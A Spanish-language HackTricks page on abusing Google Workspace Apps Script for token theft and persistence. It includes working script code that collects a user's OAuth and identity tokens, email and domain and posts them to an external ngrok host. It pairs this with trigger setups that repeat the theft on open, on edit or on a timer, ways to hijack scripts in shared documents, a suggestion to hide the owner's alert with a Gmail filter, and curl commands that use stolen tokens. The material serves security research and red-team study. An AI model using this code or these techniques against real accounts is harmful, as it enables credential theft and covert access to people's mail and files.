GWS - App Scripts

Support HackTricks

App Scripts

App Scripts es código que se activará cuando un usuario con permiso de editor acceda al documento con el que está vinculado el App Script y después de aceptar el aviso de OAuth. También se pueden configurar para ser ejecutados cada cierto tiempo por el propietario del App Script (Persistencia).

Crear App Script

Hay varias formas de crear un App Script, aunque las más comunes son desde un Documento de Google (de cualquier tipo) y como un proyecto independiente:

Crear un proyecto vinculado a un contenedor desde Google Docs, Sheets o Slides
  1. Abre un documento de Docs, una hoja de cálculo de Sheets o una presentación de Slides.

  2. Haz clic en Extensiones > Google Apps Script.

  3. En el editor de scripts, haz clic en Proyecto sin título.

  4. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente

Para crear un proyecto independiente desde Apps Script:

  1. Haz clic en Nuevo Proyecto.

  2. En el editor de scripts, haz clic en Proyecto sin título.

  3. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente desde Google Drive
  1. Haz clic en Nuevo > Más > Google Apps Script.

Crear un proyecto vinculado a un contenedor desde Google Forms
  1. Abre un formulario en Google Forms.

  2. Haz clic en Más more_vert > Editor de scripts.

  3. En el editor de scripts, haz clic en Proyecto sin título.

  4. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente usando la herramienta de línea de comandos clasp

clasp es una herramienta de línea de comandos que te permite crear, extraer/empujar y desplegar proyectos de Apps Script desde una terminal.

Consulta la guía de Interfaz de Línea de Comandos usando clasp para más detalles.

Escenario de App Script

Crear Google Sheet con App Script

Comienza creando un App Script, mi recomendación para este escenario es crear una hoja de cálculo de Google e ir a Extensiones > App Scripts, esto abrirá un nuevo App Script para ti vinculado a la hoja.

Filtrar token

Para dar acceso al token de OAuth necesitas hacer clic en Servicios + y agregar alcances como:

  • AdminDirectory: Acceso a usuarios y grupos del directorio (si el usuario tiene suficientes permisos)

  • Gmail: Para acceder a los datos de gmail

  • Drive: Para acceder a los datos de drive

  • Google Sheets API: Para que funcione con el disparador

Para cambiar tú mismo los alcances necesarios puedes ir a la configuración del proyecto y habilitar: Mostrar archivo de manifiesto "appsscript.json" en el editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Para capturar la solicitud, simplemente puedes ejecutar:

ngrok tcp 4444
nc -lv 4444 #macOS

Permisos solicitados para ejecutar el App Script:

Como se realiza una solicitud externa, el aviso de OAuth también pedirá permiso para acceder a puntos finales externos.

Crear Trigger

Una vez que se lea la App, haz clic en ⏰ Triggers para crear un trigger. Como función a ejecutar elige getToken, se ejecuta en la implementación Head, en la fuente del evento selecciona From spreadsheet y en el tipo de evento selecciona On open o On edit (según tus necesidades) y guarda.

Ten en cuenta que puedes verificar los ejecutores de los App Scripts en la pestaña de Ejecuciones si deseas depurar algo.

Compartir

Para activar el App Script, la víctima necesita conectarse con Acceso de Editor.

El token utilizado para ejecutar el App Script será el del creador del trigger, incluso si el archivo es abierto como Editor por otros usuarios.

Abusando de documentos Compartidos Conmigo

Si alguien compartió contigo un documento con App Scripts y un trigger usando el Head del App Script (no una implementación fija), puedes modificar el código del App Script (agregando por ejemplo las funciones de robo de token), acceder a él, y el App Script se ejecutará con los permisos del usuario que compartió el documento contigo! (ten en cuenta que el token OAuth del propietario tendrá como ámbitos de acceso los que se dieron cuando se creó el trigger).

Una notificación será enviada al creador del script indicando que alguien modificó el script (¿Qué tal usar permisos de gmail para generar un filtro y prevenir la alerta?)

Si un atacante modifica los ámbitos del App Script, las actualizaciones no se aplicarán al documento hasta que se cree un nuevo trigger con los cambios. Por lo tanto, un atacante no podrá robar el token del propietario creador con más ámbitos que los que estableció en el trigger que creó.

Copiar en lugar de compartir

Cuando creas un enlace para compartir un documento, se crea un enlace similar a este: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Si cambias el final "/edit" por "/copy", en lugar de acceder, Google te preguntará si deseas generar una copia del documento:

Si el usuario lo copia y accede, tanto el contenido del documento como los App Scripts serán copiados, sin embargo, los triggers no lo son, por lo tanto, nada se ejecutará.

Compartir como Aplicación Web

Ten en cuenta que también es posible compartir un App Script como una aplicación web (en el Editor del App Script, implementar como una aplicación web), pero aparecerá una alerta como esta:

Seguido del típico aviso de OAuth pidiendo los permisos necesarios.

Pruebas

Puedes probar un token recopilado para listar correos electrónicos con:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lista de calendarios del usuario:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script como Persistencia

Una opción para la persistencia sería crear un documento y agregar un disparador para la función getToken y compartir el documento con el atacante para que cada vez que el atacante abra el archivo, exfiltre el token de la víctima.

También es posible crear un App Script y hacer que se dispare cada X tiempo (como cada minuto, hora, día...). Un atacante que ha comprometido credenciales o una sesión de una víctima podría establecer un disparador de tiempo en un App Script y filtrar un token OAuth muy privilegiado cada día:

Solo crea un App Script, ve a Disparadores, haz clic en Agregar Disparador y selecciona como fuente de evento Basado en tiempo y selecciona las opciones que mejor se adapten a ti:

Esto creará un correo electrónico de alerta de seguridad y un mensaje push a tu móvil alertando sobre esto.

Bypass de Prompt No Verificado en Documento Compartido

Además, si alguien te compartió un documento con acceso de editor, puedes generar App Scripts dentro del documento y el PROPIETARIO (creador) del documento será el propietario del App Script.

Esto significa que el creador del documento aparecerá como creador de cualquier App Script que cualquiera con acceso de editor cree dentro de él.

Esto también significa que el App Script será confiable por el entorno de Workspace del creador del documento.

Esto también significa que si un App Script ya existía y las personas han otorgado acceso, cualquiera con permiso de Editor en el documento puede modificarlo y abusar de ese acceso. Para abusar de esto también necesitas que las personas disparen el App Script. Y un truco ingenioso es publicar el script como una aplicación web. Cuando las personas que ya otorgaron acceso al App Script accedan a la página web, dispararán el App Script (esto también funciona usando etiquetas <img>).

Apoya a HackTricks

Last updated